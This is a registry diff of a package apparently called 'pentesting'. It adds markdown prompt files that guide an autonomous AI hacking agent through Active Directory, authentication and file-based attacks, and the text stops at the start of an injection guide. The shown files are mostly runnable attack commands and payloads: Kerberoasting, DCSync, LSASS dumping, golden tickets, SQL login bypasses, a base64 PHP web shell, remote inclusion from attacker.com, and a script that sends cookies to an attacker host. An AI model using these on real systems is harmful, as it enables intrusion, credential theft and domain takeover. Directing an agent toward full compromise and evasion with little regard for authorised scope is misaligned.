pentesting 0.16.7 → 0.20.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +27 -9
- package/dist/ad/prompt.md +60 -0
- package/dist/api/prompt.md +63 -0
- package/dist/cloud/prompt.md +49 -0
- package/dist/container/prompt.md +58 -0
- package/dist/database/prompt.md +58 -0
- package/dist/email/prompt.md +44 -0
- package/dist/file-sharing/prompt.md +56 -0
- package/dist/ics/prompt.md +76 -0
- package/dist/main.js +3189 -901
- package/dist/network/prompt.md +49 -0
- package/dist/orchestrator/orchestrator.md +70 -0
- package/dist/prompts/base.md +532 -0
- package/dist/prompts/evasion.md +215 -0
- package/dist/prompts/exploit.md +171 -0
- package/dist/prompts/infra.md +114 -0
- package/dist/prompts/orchestrator.md +249 -0
- package/dist/prompts/payload-craft.md +181 -0
- package/dist/prompts/post.md +185 -0
- package/dist/prompts/recon.md +157 -0
- package/dist/prompts/report.md +98 -0
- package/dist/prompts/strategy.md +332 -0
- package/dist/prompts/techniques/README.md +40 -0
- package/dist/prompts/techniques/ad-attack.md +156 -0
- package/dist/prompts/techniques/auth-access.md +112 -0
- package/dist/prompts/techniques/file-attacks.md +144 -0
- package/dist/prompts/techniques/injection.md +213 -0
- package/dist/prompts/techniques/lateral.md +128 -0
- package/dist/prompts/techniques/network-svc.md +225 -0
- package/dist/prompts/techniques/privesc.md +186 -0
- package/dist/prompts/techniques/shells.md +190 -0
- package/dist/prompts/vuln.md +181 -0
- package/dist/prompts/web.md +180 -0
- package/dist/prompts/zero-day.md +172 -0
- package/dist/remote-access/prompt.md +52 -0
- package/dist/web/prompt.md +59 -0
- package/dist/wireless/prompt.md +62 -0
- package/package.json +8 -10
|
@@ -0,0 +1,156 @@
|
|
|
1
|
+
# Active Directory Attacks — Comprehensive Autonomous Guide
|
|
2
|
+
|
|
3
|
+
> **Cross-ref**: network-svc.md (services), privesc.md (local privesc), lateral.md (movement)
|
|
4
|
+
|
|
5
|
+
## Core Principle
|
|
6
|
+
AD is the crown jewel. Domain Admin = full compromise.
|
|
7
|
+
There are dozens of attack paths — enumerate, search, and chain them.
|
|
8
|
+
|
|
9
|
+
## AD Attack Category Map
|
|
10
|
+
|
|
11
|
+
```
|
|
12
|
+
AD ATTACK LIFECYCLE:
|
|
13
|
+
│
|
|
14
|
+
├── 1. Initial Enumeration (CRITICAL FIRST STEP)
|
|
15
|
+
│ ├── BloodHound/SharpHound: collect → analyze → find shortest path to DA
|
|
16
|
+
│ │ bloodhound-python -u USER -p PASS -d DOMAIN -dc DC-IP -c All
|
|
17
|
+
│ │ web_search("bloodhound custom queries privilege escalation")
|
|
18
|
+
│ ├── PowerView: Get-DomainUser, Get-DomainGroup, Get-DomainComputer
|
|
19
|
+
│ ├── ADRecon: comprehensive AD enumeration report
|
|
20
|
+
│ ├── crackmapexec: smb, ldap, winrm, mssql enumeration
|
|
21
|
+
│ │ crackmapexec smb SUBNET/24 -u USER -p PASS --shares
|
|
22
|
+
│ ├── ldapsearch: full LDAP dump (users, groups, GPOs, trusts, ACLs)
|
|
23
|
+
│ │ ldapsearch -x -H ldap://DC -b "DC=domain,DC=com" -D "user@domain" -w pass
|
|
24
|
+
│ ├── enum4linux-ng: comprehensive SMB/LDAP/RPC enumeration
|
|
25
|
+
│ ├── rpcclient: RPC-based user/group enumeration
|
|
26
|
+
│ └── KEY: map EVERYTHING before attacking (users, groups, permissions, trusts)
|
|
27
|
+
│
|
|
28
|
+
├── 2. Credential Harvesting
|
|
29
|
+
│ ├── Kerberoasting (T1558.003):
|
|
30
|
+
│ │ ├── impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC -request
|
|
31
|
+
│ │ ├── Rubeus.exe kerberoast /outfile:hashes.txt
|
|
32
|
+
│ │ ├── Crack: hashcat -m 13100 hashes.txt wordlist
|
|
33
|
+
│ │ └── Target: service accounts with SPNs (often have weak passwords)
|
|
34
|
+
│ │
|
|
35
|
+
│ ├── AS-REP Roasting (T1558.004):
|
|
36
|
+
│ │ ├── impacket-GetNPUsers DOMAIN/ -dc-ip DC -no-pass -usersfile users.txt
|
|
37
|
+
│ │ ├── Crack: hashcat -m 18200 hashes.txt wordlist
|
|
38
|
+
│ │ └── Target: accounts with DONT_REQUIRE_PREAUTH
|
|
39
|
+
│ │
|
|
40
|
+
│ ├── Password Spraying:
|
|
41
|
+
│ │ ├── crackmapexec smb DC -u users.txt -p 'Password1' --continue-on-success
|
|
42
|
+
│ │ ├── Common passwords: Season+Year (Winter2025), Company+123, Welcome1
|
|
43
|
+
│ │ ├── Spray slowly to avoid lockout (check lockout policy first!)
|
|
44
|
+
│ │ └── kerbrute passwordspray --dc DC -d DOMAIN users.txt 'Password1'
|
|
45
|
+
│ │
|
|
46
|
+
│ ├── LLMNR/NBT-NS Poisoning:
|
|
47
|
+
│ │ ├── Responder -I eth0 -rdwv → capture NTLMv2 hashes
|
|
48
|
+
│ │ ├── Crack: hashcat -m 5600 hashes.txt wordlist
|
|
49
|
+
│ │ └── Relay: impacket-ntlmrelayx → relay captured auth
|
|
50
|
+
│ │
|
|
51
|
+
│ ├── NTLM Relay:
|
|
52
|
+
│ │ ├── impacket-ntlmrelayx -t TARGET -smb2support
|
|
53
|
+
│ │ ├── Relay to: SMB (admin access), LDAP (add user), HTTP (RCE)
|
|
54
|
+
│ │ ├── Capture via: coerce, PetitPotam, PrinterBug
|
|
55
|
+
│ │ └── web_search("NTLM relay attack techniques {year}")
|
|
56
|
+
│ │
|
|
57
|
+
│ ├── DCSync (T1003.006):
|
|
58
|
+
│ │ ├── Requires: DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
|
|
59
|
+
│ │ ├── impacket-secretsdump DOMAIN/admin:pass@DC
|
|
60
|
+
│ │ ├── Gets: ALL domain password hashes → complete compromise
|
|
61
|
+
│ │ └── Check ACL with BloodHound for accounts with DCSync rights
|
|
62
|
+
│ │
|
|
63
|
+
│ ├── LSASS Dump:
|
|
64
|
+
│ │ ├── mimikatz: sekurlsa::logonpasswords
|
|
65
|
+
│ │ ├── procdump: procdump -ma lsass.exe lsass.dmp
|
|
66
|
+
│ │ ├── Task Manager: right-click LSASS → create dump
|
|
67
|
+
│ │ ├── comsvcs.dll: rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump
|
|
68
|
+
│ │ └── web_search("LSASS dump techniques evasion {year}")
|
|
69
|
+
│ │
|
|
70
|
+
│ └── Credential from files:
|
|
71
|
+
│ ├── SYSVOL/GPP: findstr /S /I "cpassword" \\DC\SYSVOL\*.xml
|
|
72
|
+
│ ├── NTDS.dit extraction: ntdsutil, vssadmin, diskshadow
|
|
73
|
+
│ ├── Registry secrets: reg save HKLM\SAM sam
|
|
74
|
+
│ └── web_search("active directory credential extraction techniques")
|
|
75
|
+
│
|
|
76
|
+
├── 3. Lateral Movement (see also lateral.md)
|
|
77
|
+
│ ├── Pass-the-Hash: impacket-psexec, impacket-wmiexec, evil-winrm -H HASH
|
|
78
|
+
│ ├── Pass-the-Ticket: Rubeus, mimikatz (kerberos::ptt)
|
|
79
|
+
│ ├── Over-Pass-the-Hash: NTLM hash → request Kerberos ticket
|
|
80
|
+
│ ├── PsExec: impacket-psexec DOMAIN/admin:pass@TARGET
|
|
81
|
+
│ ├── WMI: impacket-wmiexec DOMAIN/admin:pass@TARGET
|
|
82
|
+
│ ├── SMBExec: impacket-smbexec DOMAIN/admin:pass@TARGET
|
|
83
|
+
│ ├── DCOM: impacket-dcomexec DOMAIN/admin:pass@TARGET
|
|
84
|
+
│ ├── WinRM: evil-winrm -i TARGET -u admin -p pass (or -H hash)
|
|
85
|
+
│ ├── RDP: with valid credentials or pass-the-hash (restricted admin mode)
|
|
86
|
+
│ └── web_search("lateral movement techniques active directory {year}")
|
|
87
|
+
│
|
|
88
|
+
├── 4. Delegation Attacks
|
|
89
|
+
│ ├── Unconstrained Delegation:
|
|
90
|
+
│ │ ├── Monitor for incoming TGTs → capture them
|
|
91
|
+
│ │ ├── Force auth: PrinterBug, PetitPotam → capture DC TGT
|
|
92
|
+
│ │ └── impacket-findDelegation DOMAIN/user:pass -dc-ip DC
|
|
93
|
+
│ │
|
|
94
|
+
│ ├── Constrained Delegation:
|
|
95
|
+
│ │ ├── Service can impersonate users to specific services
|
|
96
|
+
│ │ ├── S4U2Self + S4U2Proxy attack chain
|
|
97
|
+
│ │ ├── impacket-getST -spn TARGET_SPN -impersonate admin DOMAIN/svc:pass
|
|
98
|
+
│ │ └── Alternative service name → access any service on target
|
|
99
|
+
│ │
|
|
100
|
+
│ ├── Resource-Based Constrained Delegation (RBCD):
|
|
101
|
+
│ │ ├── If you can write msDS-AllowedToActOnBehalfOfOtherIdentity
|
|
102
|
+
│ │ ├── Create computer account → point delegation → impersonate DA
|
|
103
|
+
│ │ └── web_search("RBCD exploitation active directory")
|
|
104
|
+
│ │
|
|
105
|
+
│ └── web_search("kerberos delegation attack {delegation_type}")
|
|
106
|
+
│
|
|
107
|
+
├── 5. ADCS (Active Directory Certificate Services)
|
|
108
|
+
│ ├── certipy find -vulnerable -u user@domain -p pass -dc-ip DC
|
|
109
|
+
│ ├── ESC1: Enrollee supplies subject → request cert as admin
|
|
110
|
+
│ ├── ESC2: Any purpose template → misuse for auth
|
|
111
|
+
│ ├── ESC3: Certificate agent enrollment → issue on behalf of
|
|
112
|
+
│ ├── ESC4: Vulnerable certificate template ACL → modify template
|
|
113
|
+
│ ├── ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 flag → specify any SAN
|
|
114
|
+
│ ├── ESC7: Vulnerable CA ACL → approve own requests
|
|
115
|
+
│ ├── ESC8: Web enrollment service → NTLM relay to CA
|
|
116
|
+
│ ├── ESC9-13: New attacks → web_search("ADCS ESC9 ESC10 ESC11 exploitation")
|
|
117
|
+
│ └── web_search("ADCS exploitation certipy {year}")
|
|
118
|
+
│
|
|
119
|
+
├── 6. Trust Attacks
|
|
120
|
+
│ ├── Parent-child trust: SID History injection → Enterprise Admin
|
|
121
|
+
│ ├── Cross-forest trust: selective auth bypass, SID filtering bypass
|
|
122
|
+
│ ├── Golden/Silver ticket crafting across trusts
|
|
123
|
+
│ └── web_search("active directory trust attack cross-forest")
|
|
124
|
+
│
|
|
125
|
+
├── 7. Persistence (Domain-Level)
|
|
126
|
+
│ ├── Golden Ticket: forge TGT with krbtgt hash → unlimited access
|
|
127
|
+
│ │ impacket-ticketer -domain DOMAIN -domain-sid SID -nthash KRBTGT_HASH admin
|
|
128
|
+
│ ├── Silver Ticket: forge service ticket (stealthier, service-specific)
|
|
129
|
+
│ ├── Diamond Ticket: modify legitimate TGT (harder to detect)
|
|
130
|
+
│ ├── Skeleton Key: mimikatz misc::skeleton → master password for all accounts
|
|
131
|
+
│ ├── DSRM: Directory Services Restore Mode password → DA access
|
|
132
|
+
│ ├── AdminSDHolder: give permissions that propagate to admin groups
|
|
133
|
+
│ ├── DCSync rights: grant DCSync to controlled account
|
|
134
|
+
│ ├── Shadow Credentials: msDS-KeyCredentialLink manipulation
|
|
135
|
+
│ └── web_search("active directory persistence techniques {year}")
|
|
136
|
+
│
|
|
137
|
+
└── 8. Advanced AD Attacks
|
|
138
|
+
├── Shadow Credentials: web_search("shadow credentials pywhisker exploitation")
|
|
139
|
+
├── SAMR/LSARPC abuse: reset passwords, enumerate remotely
|
|
140
|
+
├── ACL abuse: if you own WriteDACL/GenericAll/GenericWrite → full control
|
|
141
|
+
├── Group Policy abuse: create/modify GPOs → code execution on domain
|
|
142
|
+
├── sAMAccountName spoofing (noPac): web_search("nopac CVE-2021-42278")
|
|
143
|
+
├── DNS admin → DLL injection → RCE as SYSTEM on DC
|
|
144
|
+
├── LDAP signing/channel binding attacks
|
|
145
|
+
└── web_search("active directory attack path {technique} {year}")
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
## AD Search Patterns
|
|
149
|
+
```
|
|
150
|
+
web_search("active directory attack {technique} {year}")
|
|
151
|
+
web_search("hacktricks active directory {attack_type}")
|
|
152
|
+
web_search("thehacker.recipes {AD_technique}")
|
|
153
|
+
web_search("bloodhound {custom_query} for {objective}")
|
|
154
|
+
web_search("{impacket_tool} usage examples")
|
|
155
|
+
web_search("active directory {defense} bypass evasion")
|
|
156
|
+
```
|
|
@@ -0,0 +1,112 @@
|
|
|
1
|
+
# Authentication & Access Control Attacks — Autonomous Guide
|
|
2
|
+
|
|
3
|
+
> **Cross-ref**: web.md, injection.md, post.md (privesc)
|
|
4
|
+
|
|
5
|
+
## Attack Categories
|
|
6
|
+
|
|
7
|
+
```
|
|
8
|
+
AUTH/ACCESS ATTACK MAP:
|
|
9
|
+
│
|
|
10
|
+
├── 1. Authentication Bypass
|
|
11
|
+
│ ├── Default credentials → web_search("{service} default credentials")
|
|
12
|
+
│ ├── SQL injection in login: admin'-- , ' OR 1=1--, admin'/*
|
|
13
|
+
│ ├── NoSQL injection: {"username":{"$gt":""},"password":{"$gt":""}}
|
|
14
|
+
│ ├── Mass assignment: register with admin=true, role=admin, isAdmin=1
|
|
15
|
+
│ ├── Response manipulation: change HTTP response (401→200, "false"→"true")
|
|
16
|
+
│ ├── Password reset flaws:
|
|
17
|
+
│ │ ├── Predictable token, token reuse, no expiry
|
|
18
|
+
│ │ ├── Host header injection in reset link
|
|
19
|
+
│ │ ├── IDOR in reset endpoint (reset anyone's password)
|
|
20
|
+
│ │ └── Race condition: use token before invalidation
|
|
21
|
+
│ ├── MFA bypass:
|
|
22
|
+
│ │ ├── Skip to post-MFA endpoint directly
|
|
23
|
+
│ │ ├── Brute force OTP (4-6 digit = limited keyspace)
|
|
24
|
+
│ │ ├── Response manipulation (change status code)
|
|
25
|
+
│ │ ├── Backup codes brute force, default backup codes
|
|
26
|
+
│ │ └── web_search("MFA bypass techniques {year}")
|
|
27
|
+
│ ├── Remember me / persistent login:
|
|
28
|
+
│ │ ├── Predictable cookie value → forge for other users
|
|
29
|
+
│ │ ├── Insufficient entropy in token
|
|
30
|
+
│ │ └── Token not bound to IP/user-agent
|
|
31
|
+
│ └── web_search("authentication bypass techniques hacktricks")
|
|
32
|
+
│
|
|
33
|
+
├── 2. Session Attacks
|
|
34
|
+
│ ├── Session fixation: force known session ID
|
|
35
|
+
│ ├── Session hijacking: steal via XSS, network sniffing
|
|
36
|
+
│ ├── Session prediction: analyze session ID patterns → predict next
|
|
37
|
+
│ ├── Insufficient session expiry: reuse old sessions
|
|
38
|
+
│ ├── Cookie manipulation: change cookie values (user ID, role)
|
|
39
|
+
│ ├── Session puzzling: same session variable used differently
|
|
40
|
+
│ └── web_search("session attack techniques OWASP")
|
|
41
|
+
│
|
|
42
|
+
├── 3. JWT Attacks
|
|
43
|
+
│ ├── Algorithm confusion: RS256→HS256 → sign with public key
|
|
44
|
+
│ ├── None algorithm: {"alg":"none"} → empty signature
|
|
45
|
+
│ ├── Key ID (kid) injection: {"kid":"../../../../etc/passwd"}
|
|
46
|
+
│ ├── JWK/JKU injection: embed/host attacker key
|
|
47
|
+
│ ├── Secret brute force: hashcat -m 16500 jwt.txt wordlist
|
|
48
|
+
│ ├── Expired token acceptance: old tokens still valid?
|
|
49
|
+
│ ├── Algorithm-specific attacks: ECDSA key confusion, RSA key confusion
|
|
50
|
+
│ ├── Claim manipulation: change user/role/permissions in payload
|
|
51
|
+
│ └── web_search("JWT attack techniques portswigger {year}")
|
|
52
|
+
│
|
|
53
|
+
├── 4. OAuth/OpenID Connect Attacks
|
|
54
|
+
│ ├── Redirect URI manipulation: open redirect → token theft
|
|
55
|
+
│ ├── State parameter missing/predictable: CSRF
|
|
56
|
+
│ ├── Code/token leakage: via referer header, logs
|
|
57
|
+
│ ├── Scope escalation: request more permissions
|
|
58
|
+
│ ├── SSRF via OAuth: authorization URL → internal service
|
|
59
|
+
│ └── web_search("OAuth security vulnerabilities exploitation")
|
|
60
|
+
│
|
|
61
|
+
├── 5. IDOR (Insecure Direct Object Reference)
|
|
62
|
+
│ ├── Parameter manipulation: /api/user/123 → /api/user/124
|
|
63
|
+
│ ├── In: URL, POST body, JSON, cookies, headers, file names
|
|
64
|
+
│ ├── Encoded IDs: base64 decode → modify → re-encode
|
|
65
|
+
│ ├── UUID/GUID: not always random (predictable in some implementations)
|
|
66
|
+
│ ├── Sequential testing: iterate through IDs systematically
|
|
67
|
+
│ ├── HTTP method change: GET blocked → POST, PUT, PATCH, DELETE
|
|
68
|
+
│ └── Affects: view/edit/delete other users' data, access admin functions
|
|
69
|
+
│
|
|
70
|
+
├── 6. Access Control Bypass
|
|
71
|
+
│ ├── Horizontal: access other users' resources (same privilege level)
|
|
72
|
+
│ ├── Vertical: access admin/higher-privilege resources
|
|
73
|
+
│ ├── Method-based: POST blocked → GET, PUT, PATCH, OPTIONS
|
|
74
|
+
│ ├── Path-based: /admin/ blocked → /ADMIN/, /Admin, /./admin/, //admin
|
|
75
|
+
│ ├── Header-based: X-Original-URL, X-Rewrite-URL, X-Forwarded-For
|
|
76
|
+
│ ├── Referer-based: add expected Referer header
|
|
77
|
+
│ ├── IP-based: add X-Forwarded-For: 127.0.0.1
|
|
78
|
+
│ ├── API versioning: /api/v1/admin blocked → /api/v2/admin, /api/internal/
|
|
79
|
+
│ ├── Parameter pollution: duplicate parameters with different values
|
|
80
|
+
│ └── web_search("access control bypass techniques hacktricks")
|
|
81
|
+
│
|
|
82
|
+
├── 7. Rate Limiting Bypass
|
|
83
|
+
│ ├── IP rotation headers: X-Forwarded-For, X-Real-IP, X-Originating-IP
|
|
84
|
+
│ ├── Different endpoints: /login vs /LOGIN vs /Login
|
|
85
|
+
│ ├── Parameter pollution: add dummy parameters
|
|
86
|
+
│ ├── Different HTTP methods: POST → PUT
|
|
87
|
+
│ ├── Unicode variations: admin vs admın (dotless i)
|
|
88
|
+
│ ├── Distributed: multiple source IPs
|
|
89
|
+
│ └── Timing: slow down just below rate limit threshold
|
|
90
|
+
│
|
|
91
|
+
└── 8. Business Logic Flaws
|
|
92
|
+
├── Price manipulation: negative quantities, decimal exploitation
|
|
93
|
+
├── Race conditions:
|
|
94
|
+
│ ├── Double spending, parallel coupon use
|
|
95
|
+
│ ├── Concurrent operations: transfer + withdraw simultaneously
|
|
96
|
+
│ ├── Write script with asyncio/threads to test
|
|
97
|
+
│ └── web_search("race condition exploitation web application")
|
|
98
|
+
├── Workflow bypass: skip steps (order→pay→confirm → order→confirm)
|
|
99
|
+
├── Type juggling: PHP == vs === (0 == "string" → true)
|
|
100
|
+
├── Integer overflow: very large numbers → wrap to negative/zero
|
|
101
|
+
├── Referral/reward abuse: self-referral, race condition on signup
|
|
102
|
+
└── web_search("business logic vulnerability examples {year}")
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
## Search Patterns
|
|
106
|
+
```
|
|
107
|
+
web_search("{auth_mechanism} bypass techniques")
|
|
108
|
+
web_search("broken access control exploitation hacktricks")
|
|
109
|
+
web_search("IDOR exploitation techniques {year}")
|
|
110
|
+
web_search("{technology} authentication vulnerability")
|
|
111
|
+
web_search("PayloadsAllTheThings {attack_type}")
|
|
112
|
+
```
|
|
@@ -0,0 +1,144 @@
|
|
|
1
|
+
# File-Based Attacks — Comprehensive Autonomous Guide
|
|
2
|
+
|
|
3
|
+
> **Cross-ref**: injection.md (for injection via files), shells.md (web shells), evasion.md (filter bypass)
|
|
4
|
+
|
|
5
|
+
## Core Principle
|
|
6
|
+
Files are one of the most powerful attack vectors. There are dozens of file-based
|
|
7
|
+
attack techniques, each with hundreds of bypass variants. Search and adapt.
|
|
8
|
+
|
|
9
|
+
## File Attack Type Map
|
|
10
|
+
|
|
11
|
+
```
|
|
12
|
+
FILE-BASED ATTACK CATEGORIES:
|
|
13
|
+
│
|
|
14
|
+
├── 1. Local File Inclusion (LFI)
|
|
15
|
+
│ ├── Basic: ../../etc/passwd, ....//....//etc/passwd
|
|
16
|
+
│ ├── Null byte: ../../etc/passwd%00 (PHP < 5.3.4)
|
|
17
|
+
│ ├── Double encoding: %252e%252e%252f
|
|
18
|
+
│ ├── UTF-8 overlong: %c0%ae%c0%ae/
|
|
19
|
+
│ ├── Wrappers (PHP): php://filter, php://input, data://, expect://, zip://, phar://
|
|
20
|
+
│ │ ├── Read source: php://filter/read=convert.base64-encode/resource=config.php
|
|
21
|
+
│ │ ├── RCE: php://input + POST body with PHP code
|
|
22
|
+
│ │ ├── RCE: data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+
|
|
23
|
+
│ │ ├── RCE: expect://id (if expect wrapper enabled)
|
|
24
|
+
│ │ └── RCE: phar://malicious.phar (deserialization via phar metadata)
|
|
25
|
+
│ ├── Windows: ..\..\windows\system32\drivers\etc\hosts
|
|
26
|
+
│ ├── Interesting files to read:
|
|
27
|
+
│ │ ├── Linux: /etc/passwd, /etc/shadow, /proc/self/environ, /proc/self/cmdline
|
|
28
|
+
│ │ ├── Web: /var/www/html/.env, wp-config.php, config.php, database.yml
|
|
29
|
+
│ │ ├── SSH: /home/*/.ssh/id_rsa, /root/.ssh/id_rsa
|
|
30
|
+
│ │ ├── Logs: /var/log/apache2/access.log (for log poisoning → RCE)
|
|
31
|
+
│ │ ├── Proc: /proc/self/fd/N (leaked file descriptors)
|
|
32
|
+
│ │ └── Windows: C:\Windows\win.ini, C:\boot.ini, web.config
|
|
33
|
+
│ └── LFI → RCE CHAINS:
|
|
34
|
+
│ ├── Log poisoning: inject PHP via User-Agent → include apache/nginx log
|
|
35
|
+
│ ├── /proc/self/environ: inject PHP via User-Agent/Referer header
|
|
36
|
+
│ ├── PHP session files: inject into session → include /tmp/sess_SESSIONID
|
|
37
|
+
│ ├── Temp files: race condition upload → include before cleanup
|
|
38
|
+
│ ├── Mail log: send email with PHP code → include /var/mail/www-data
|
|
39
|
+
│ └── web_search("LFI to RCE techniques {year}")
|
|
40
|
+
│
|
|
41
|
+
├── 2. Remote File Inclusion (RFI)
|
|
42
|
+
│ ├── Basic: ?page=http://attacker.com/shell.txt
|
|
43
|
+
│ ├── Requires: allow_url_include=On (PHP)
|
|
44
|
+
│ ├── Protocol: http://, https://, ftp://
|
|
45
|
+
│ ├── Null byte bypass: ?page=http://attacker.com/shell.txt%00
|
|
46
|
+
│ └── Often disabled — check and try, but LFI is more common
|
|
47
|
+
│
|
|
48
|
+
├── 3. Path Traversal (Directory Traversal)
|
|
49
|
+
│ ├── Basic: ../../../etc/passwd
|
|
50
|
+
│ ├── Encoded: %2e%2e%2f, %2e%2e/, ..%2f
|
|
51
|
+
│ ├── Double encoded: %252e%252e%252f
|
|
52
|
+
│ ├── Unicode: ..%c0%af, ..%ef%bc%8f
|
|
53
|
+
│ ├── Oversized: ....//, ....\/
|
|
54
|
+
│ ├── Absolute path: /etc/passwd (if app blindly prepends dir)
|
|
55
|
+
│ ├── Null byte: ../etc/passwd%00.png (bypass extension checks)
|
|
56
|
+
│ ├── In API parameters, cookies, headers, file names, ZIP entries
|
|
57
|
+
│ └── Use payload_mutate with context="path" for systematic variants
|
|
58
|
+
│
|
|
59
|
+
├── 4. File Upload Attacks
|
|
60
|
+
│ ├── BYPASS CATEGORIES (try ALL when blocked):
|
|
61
|
+
│ │ ├── Extension bypass:
|
|
62
|
+
│ │ │ ├── Double extension: shell.php.jpg, shell.jpg.php
|
|
63
|
+
│ │ │ ├── Alternative extensions: .php3, .php4, .php5, .phtml, .phar, .phps
|
|
64
|
+
│ │ │ ├── Case: .PHP, .Php, .pHp
|
|
65
|
+
│ │ │ ├── Special chars: shell.php%00.jpg, shell.php\x00.jpg, shell.php;.jpg
|
|
66
|
+
│ │ │ ├── Dot trailing: shell.php., shell.php..
|
|
67
|
+
│ │ │ ├── Space: shell.php (with trailing space)
|
|
68
|
+
│ │ │ └── web_search("file upload extension bypass {language}")
|
|
69
|
+
│ │ │
|
|
70
|
+
│ │ ├── Content-Type bypass:
|
|
71
|
+
│ │ │ ├── Change Content-Type to image/jpeg, image/png, image/gif
|
|
72
|
+
│ │ │ └── Keep malicious content, fake the content-type header
|
|
73
|
+
│ │ │
|
|
74
|
+
│ │ ├── Magic bytes bypass:
|
|
75
|
+
│ │ │ ├── GIF89a<?php system($_GET['cmd']); ?> (GIF header)
|
|
76
|
+
│ │ │ ├── \xFF\xD8\xFF\xE0 + PHP code (JPEG header)
|
|
77
|
+
│ │ │ ├── \x89PNG\r\n\x1a\n + PHP code (PNG header)
|
|
78
|
+
│ │ │ └── Prepend legitimate file header to malicious code
|
|
79
|
+
│ │ │
|
|
80
|
+
│ │ ├── Server processing bypass:
|
|
81
|
+
│ │ │ ├── .htaccess upload: AddType application/x-httpd-php .jpg
|
|
82
|
+
│ │ │ ├── web.config upload (IIS): handlers → execute aspx
|
|
83
|
+
│ │ │ ├── Polyglot files: valid image AND valid PHP/JSP/ASP
|
|
84
|
+
│ │ │ └── Filename manipulation: shell.php%20, shell.php::$DATA (Windows ADS)
|
|
85
|
+
│ │ │
|
|
86
|
+
│ │ └── Race condition:
|
|
87
|
+
│ │ ├── Upload → access before validation/deletion
|
|
88
|
+
│ │ ├── Write script for concurrent upload + access
|
|
89
|
+
│ │ └── web_search("file upload race condition exploit")
|
|
90
|
+
│ │
|
|
91
|
+
│ ├── POST-UPLOAD EXPLOITATION:
|
|
92
|
+
│ │ ├── Access uploaded shell: try common upload dirs
|
|
93
|
+
│ │ │ /uploads/, /images/, /media/, /files/, /tmp/, /static/
|
|
94
|
+
│ │ ├── If path unknown: LFI to find path, or fuzz the upload directory
|
|
95
|
+
│ │ └── Upgrade web shell to reverse shell (see shells.md)
|
|
96
|
+
│ │
|
|
97
|
+
│ └── SEARCH PATTERN:
|
|
98
|
+
│ web_search("file upload bypass techniques {year}")
|
|
99
|
+
│ web_search("{framework} file upload vulnerability")
|
|
100
|
+
│ web_search("file upload {defense} bypass")
|
|
101
|
+
│
|
|
102
|
+
├── 5. ZIP/Archive Attacks
|
|
103
|
+
│ ├── Zip Slip: path traversal in archive (../../../etc/cron.d/evil)
|
|
104
|
+
│ ├── ZIP symlink: include symlink to /etc/passwd → extracted by server
|
|
105
|
+
│ ├── ZIP bomb: denial of service (if relevant)
|
|
106
|
+
│ ├── Polyglot ZIP: valid ZIP + valid PHP
|
|
107
|
+
│ └── web_search("zip slip vulnerability exploitation")
|
|
108
|
+
│
|
|
109
|
+
├── 6. Symlink Attacks
|
|
110
|
+
│ ├── Create symlink to sensitive file → access through web
|
|
111
|
+
│ ├── Race condition: symlink swap between check and use (TOCTOU)
|
|
112
|
+
│ ├── Git symlink: include symlink in git repo → checkout reads target file
|
|
113
|
+
│ └── Relevant in: file upload, archive extraction, temp file operations
|
|
114
|
+
│
|
|
115
|
+
├── 7. Server-Side Processing Attacks
|
|
116
|
+
│ ├── ImageMagick (ImageTragick): web_search("imagemagick exploit CVE-2016-3714")
|
|
117
|
+
│ │ ├── SVG with embedded commands
|
|
118
|
+
│ │ ├── MVG file format exploitation
|
|
119
|
+
│ │ └── Ghostscript exploitation
|
|
120
|
+
│ ├── FFmpeg: SSRF via HLS playlist, local file read
|
|
121
|
+
│ ├── LibreOffice: macro execution, SSRF via document links
|
|
122
|
+
│ ├── PDF generators (wkhtmltopdf, dompdf): SSRF, XSS, local file read
|
|
123
|
+
│ │ ├── <iframe src="file:///etc/passwd">
|
|
124
|
+
│ │ ├── <script>document.location="http://attacker/?"+document.cookie</script>
|
|
125
|
+
│ │ └── web_search("{pdf_generator} SSRF local file read")
|
|
126
|
+
│ └── Document parsers: DOCX/XLSX (XXE via embedded XML), CSV injection
|
|
127
|
+
│
|
|
128
|
+
└── 8. SSRF via File Operations
|
|
129
|
+
├── URL parameter → file:///etc/passwd, gopher://, dict://
|
|
130
|
+
├── Cloud metadata: http://169.254.169.254/latest/meta-data/
|
|
131
|
+
├── Internal services: http://localhost:6379/ (Redis), http://localhost:9200/ (Elastic)
|
|
132
|
+
└── See web.md SSRF section for comprehensive SSRF methodology
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
## 🧠 File Attack Search Patterns
|
|
136
|
+
```
|
|
137
|
+
web_search("LFI to RCE {language} {framework} techniques")
|
|
138
|
+
web_search("file upload bypass {defense} {year}")
|
|
139
|
+
web_search("path traversal {application} CVE")
|
|
140
|
+
web_search("{file_type} polyglot {language}")
|
|
141
|
+
web_search("file inclusion wrapper {language}")
|
|
142
|
+
web_search("PayloadsAllTheThings file inclusion")
|
|
143
|
+
web_search("PayloadsAllTheThings upload")
|
|
144
|
+
```
|
|
@@ -0,0 +1,213 @@
|
|
|
1
|
+
# Injection Attacks — Comprehensive Autonomous Guide
|
|
2
|
+
|
|
3
|
+
> **Cross-ref**: web.md (web testing), evasion.md (bypass), payload-craft.md (mutation)
|
|
4
|
+
|
|
5
|
+
## Core Principle
|
|
6
|
+
Every input is a potential injection point. There are 20+ injection TYPES,
|
|
7
|
+
each with hundreds of variants. **You cannot memorize them all — SEARCH for each.**
|
|
8
|
+
|
|
9
|
+
## Injection Type Map (Know ALL Categories)
|
|
10
|
+
|
|
11
|
+
```
|
|
12
|
+
INJECTION TYPES — Complete Category Awareness:
|
|
13
|
+
│
|
|
14
|
+
├── 1. SQL Injection (SQLi)
|
|
15
|
+
│ ├── In-band: UNION-based, Error-based
|
|
16
|
+
│ ├── Blind: Boolean-based, Time-based
|
|
17
|
+
│ ├── Out-of-band: DNS/HTTP exfiltration
|
|
18
|
+
│ ├── Second-order: stored then triggered
|
|
19
|
+
│ ├── Stacked queries: multiple statements
|
|
20
|
+
│ └── DB-specific: MySQL, PostgreSQL, MSSQL, Oracle, SQLite (each has unique syntax)
|
|
21
|
+
│
|
|
22
|
+
├── 2. Command Injection (CMDi / OS Injection)
|
|
23
|
+
